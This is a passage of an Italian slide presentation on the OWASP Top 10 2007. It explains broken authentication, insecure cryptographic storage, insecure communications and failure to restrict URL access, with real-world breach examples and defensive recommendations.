  58. 58. <ul><li>Un caso reale: </li></ul><ul><li>Nel 2002, Microsoft aveva eliminato una vulnerabilità in Hotmail che poteva essere sfruttata attraverso dei javascript malevoli per rubare le password dell'utente. Il problema, segnalato da un rivenditore di prodotti per la rete, veniva sfruttato attraverso dei messaggi email contenenti un trojan che alterava l'interfaccia utente, forzando le vittime a reinserire la password che sarebbe poi stata inviata inconsapevolmente agli attaccanti. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>La comunicazione e lo storage delle credenziali deve essere effettuata in maniera sicura. Il protocollo SSL per la trasmissione di dati riservati dovrebbe essere la sola opzione per autenticare le parti di una comunicazione, mentre le credenziali dovrebbero essere criptate o mantenute sotto forma di hash. Cancellare i cookie utilizzati per l'autenticazione o la gestione delle sessioni. </li></ul>Top 10 2007 in dettaglio 7/10
  59. 59. Esempio di Broken Authentication and Session Management Top 10 2007 in dettaglio 7/10
  60. 60. Insecure Cryptographic Storage L ’ Insecure Cryptographic Storage è una vulnerabilità causata dalla non corretta conservazione dei dati e dall ’ errata implementazione delle funzioni applicative create allo scopo di proteggere tali informazioni. Top 10 2007 in dettaglio 8/10
  61. 61. <ul><li>Insecure Cryptographic Storage </li></ul><ul><li>Salvare dati sensibili in modo insicuro </li></ul><ul><ul><li>Identificare i dati sensibili </li></ul></ul><ul><ul><li>Identificare tutti I luoghi che contengono dati sensibili </li></ul></ul><ul><ul><li>Identificare le connessioni ai dati sensibili </li></ul></ul><ul><li>Proteggerli con meccanismi appropriati </li></ul><ul><ul><li>File encryption, database encryption, access control, SSL </li></ul></ul>Top 10 2007 in dettaglio 8/10
  62. 62. Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10
  63. 63. <ul><li>Insecure Cryptographic Storage e gli impatti </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><li>Accedere a informazioni confidenziali </li></ul></ul><ul><ul><li>Entrare in possesso di informazioni utili per futuri attacchi </li></ul></ul><ul><li>Conseguenze: </li></ul><ul><ul><li>Problemi di natura legale </li></ul></ul><ul><ul><li>Perdita di fiducia da parte degli utenti </li></ul></ul><ul><ul><li>PCI standard violation </li></ul></ul>Top 10 2007 in dettaglio 8/10
  64. 64. <ul><li>Un caso reale: </li></ul><ul><li>Una falla di sicurezza nei sistemi della TJX aveva portato alla divulgazione di circa 45,7 milioni di numeri di carte di credito/debito. Un'indagine del governo canadese aveva imputato alla TJX di non aver aggiornato il suo sistema crittografico prima di essere stato oggetto di un'intercettazione elettronica nel Luglio del 2005. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Non utilizzare degli algoritmi crittografici “ fai da te ” . “ Utilizzare solo degli algoritmi pubblici consolidati come AES, la crittografia RSA a chiave pubblica, e SHA256 per l'hashing. Inoltre, generate le chiavi off-line e non trasmettere mai le chiavi private su canali insicuri. </li></ul>Top 10 2007 in dettaglio 8/10
  65. 65. Esempio di Insecure Cryptographic Storage Top 10 2007 in dettaglio 8/10
  66. 66. Insecure Communications Le Insecure Communications consentono ad un agente di minaccia di intercettare informazioni come credenziali di accesso e informazioni riservate in transito su canali privi di cifratura (plaintext). Top 10 2007 in dettaglio 9/10
  67. 67. <ul><li>Insecure Communications </li></ul><ul><li>Protocollo HTTP in chiaro </li></ul><ul><ul><li>Può essere intercettato e sniffato </li></ul></ul><ul><li>Protocollo HTTP/S senza validazione certificato </li></ul><ul><ul><li>Suscettibile ad attacchi di Man in The Middle </li></ul></ul><ul><li>Utilizzare SEMPRE protocolli cifrati e se possibile, nel caso dell ’ SSL, effettuare la validazione dei certificati lato server e/o client (TLS) </li></ul>Top 10 2007 in dettaglio 9/10
  68. 68. <ul><li>Un caso reale: </li></ul><ul><li>Ancora TJX. Un'indagine avevano portato alla conclusione che alcuni hackers avevano usato un'antenna telescopica ed un pc portatile per rubare i dati scambiati via wireless tra i dispositivi per il controllo dei prezzi, i registri di cassa, e i computer del magazzino. </li></ul><ul><li>“ La rete wireless del rivenditore da 17.4 miliardi di dollari aveva meno sicurezza di quanta ne hanno tante persone sulla loro rete casalinga. TJX utilizzava il sistema di codifica WEP piuttosto che il più robusto WPA. ” </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Utilizzare SSL su una qualsiasi connessione autenticata o durante la trasmissione di dati sensibili, come le credenziali dell'utente, i dettagli della carta di credito, i dati sanitari. SSL o protocolli di crittografia simili dovrebbero essere utilizzati anche per l'accesso ai sistemi online da parte di clienti, partner, staff e amministrativi. </li></ul>Top 10 2007 in dettaglio 9/10
  69. 69. Esempio di Insecure Communications Top 10 2007 in dettaglio 9/10
  70. 70. Failure to Restrict URL Access Si verifica quando per proteggere aree di una web application non visibili ad utenti non autorizzati si fa affidamento esclusivamente ad un approccio di tipo “ security by obscurity ” poiché si tende a pensare che ciò che non è direttamente visibile non possa essere in alcun modo raggiunto e sfruttato da un agente di minaccia. Top 10 2007 in dettaglio 10/10
  71. 71. <ul><li>Failure to Restrict URL Access </li></ul><ul><li>Controllare ciò che gli utenti possono fare: </li></ul><ul><ul><li>Attraverso le “ autorizzazioni ” </li></ul></ul><ul><li>Livelli di controllo multiplo </li></ul><ul><ul><li>Stabilire se l ’ utente accedere a un determinato URL </li></ul></ul><ul><ul><li>Stabilire se l ’ utente invocare una determinata funzione </li></ul></ul><ul><ul><li>Con quali parametri può invocarla </li></ul></ul><ul><ul><li>Stabilire se e a quali tipi di dati l ’ utente può avere accesso </li></ul></ul><ul><li>Unico per ogni sito e ruolo </li></ul><ul><ul><li>Problematiche totalmente invisibili a scanner automatici </li></ul></ul>Top 10 2007 in dettaglio 10/10
  72. 72. Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
  73. 73. <ul><li>Failure to Restrict URL Access </li></ul><ul><li>Un attaccante è in grado di: </li></ul><ul><ul><li>Accedere a risorse riservate </li></ul></ul><ul><ul><li>Invocare funzioni </li></ul></ul><ul><ul><li>Chiamare funzionalità nascoste </li></ul></ul><ul><li>Conseguenze </li></ul><ul><ul><li>Es. Attacco MacWorld 2007 </li></ul></ul>Top 10 2007 in dettaglio 10/10
  74. 74. <ul><li>Un caso reale: </li></ul><ul><li>Una falla nel sito web della MacWorld Conference aveva permesso agli utenti di ottenere dei pass “ Platinum ” del valore di circa 1.700 dollari, oltre ad uno speciale accesso al keynote di Steve Jobs, il tutto gratuitamente. La falla era presente nel codice lato client, invece che lato server, che verificava i privilegi dell'utente. Ciò permetteva a chiunque di ottenere dei pass gratuiti manipolando il codice javascript dal browser. </li></ul><ul><li>Come proteggere gli utenti: </li></ul><ul><li>Non dare per scontato che gli utenti non siano a conoscenza degli URL nascosti. Tutti gli URL e le risorse aziendali dovrebbero essere protetti attraverso un efficace meccanismo per il controllo degli accessi che verifichi il ruolo ed i privilegi dell'utente. “ Assicurarsi che ciò sia fatto ad ogni passo e non solo all'inizio del processo. ” </li></ul>Top 10 2007 in dettaglio 10/10
  75. 75. Esempio di Failure to Restrict URL Access Top 10 2007 in dettaglio 10/10
  76. 76. Domande? Grazie per l ’ attenzione Claudio Di Giovanni [email_address]

×